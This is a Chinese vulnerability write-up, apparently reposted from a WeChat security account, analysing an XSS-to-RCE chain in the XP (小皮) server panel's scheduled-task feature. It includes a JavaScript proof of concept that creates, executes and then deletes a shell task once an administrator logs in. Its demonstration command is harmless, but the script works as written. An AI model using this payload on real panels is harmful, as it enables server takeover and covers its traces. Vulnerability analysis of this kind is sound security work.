【漏洞浅谈】小皮面板RCE

admin 2023年2月7日23:56:51评论187 views字数 1128阅读3分45秒阅读模式

点击关注公众号,知识干货及时送达👇

Part.1 前言

最近看到有人发小皮面板的RCE,所以对以下代码做了简单的代码分析。

Part.2 代码分析

登录点抓包定位后台源码文件

【漏洞浅谈】小皮面板RCE

在account.phg中获取登录状态,接收传参调用login方法

【漏洞浅谈】小皮面板RCE

post函数由htmlspecialchars处理

【漏洞浅谈】小皮面板RCE

login方法中通过Socket::request处理了参数,这里的Socket::request调用了8090端口的服务

【漏洞浅谈】小皮面板RCE

跟踪到Socket函数可以看到socket_write处理的方法,然后再通过socket_read读取结果

【漏洞浅谈】小皮面板RCE

启动小皮面板之后看到8090端口开启

【漏洞浅谈】小皮面板RCE

后台计划任务

【漏洞浅谈】小皮面板RCE

后台计划任务有三个步骤:

1.查看task_list列表

2.保存save_shell

3.执行exec_task

写wenshell的时候需要带上X-Requested-With: XMLHttpRequest

【漏洞浅谈】小皮面板RCE

【漏洞浅谈】小皮面板RCE

【漏洞浅谈】小皮面板RCEPOC如下:

function task() {    $.get('/service/app/tasks.php?type=task_list',{},function(data) {        var id = data.data[0].ID;        $.post('/service/app/tasks.php?type=exec_task',{tid:id},function(res){            $.post('/service/app/tasks.php?type=del_task',{tid:id},function(res){                "json"            })        },"json")    },"json")}
function save_shell() { var data = new Object data.title = "2023-2"; data.exec_cycle = "5"; data.week = "1"; data.day = "3"; data.hour = "1"; data.minute = "30"; data.shell = "echo 'success' > c:/success.txt"; $.post('/service/app/tasks.php?type=save_shell',data,function(res) { task();
},'json');
}
save_shell();

Part.3 漏洞验证

搭建服务器然后插入xss代码

【漏洞浅谈】小皮面板RCE

当管理员登录了后台之后就会触发xss然后删除当前执行的任务

【漏洞浅谈】小皮面板RCE

在c盘创建文件

【漏洞浅谈】小皮面板RCE

Part.4 总结

在应用程序升级遍历我们的同时也会带来很多危险,关注程序更新的同时也要注意漏洞的迭代带来的危害。

- End -

点击下方名片,关注我们
觉得内容不错,就点下在看

如果不想错过新的内容推送,可以设为星标【漏洞浅谈】小皮面板RCE

原文始发于微信公众号(希石安全团队):【漏洞浅谈】小皮面板RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月7日23:56:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞浅谈】小皮面板RCEhttps://cn-sec.com/archives/1540937.html

发表评论

匿名网友 填写信息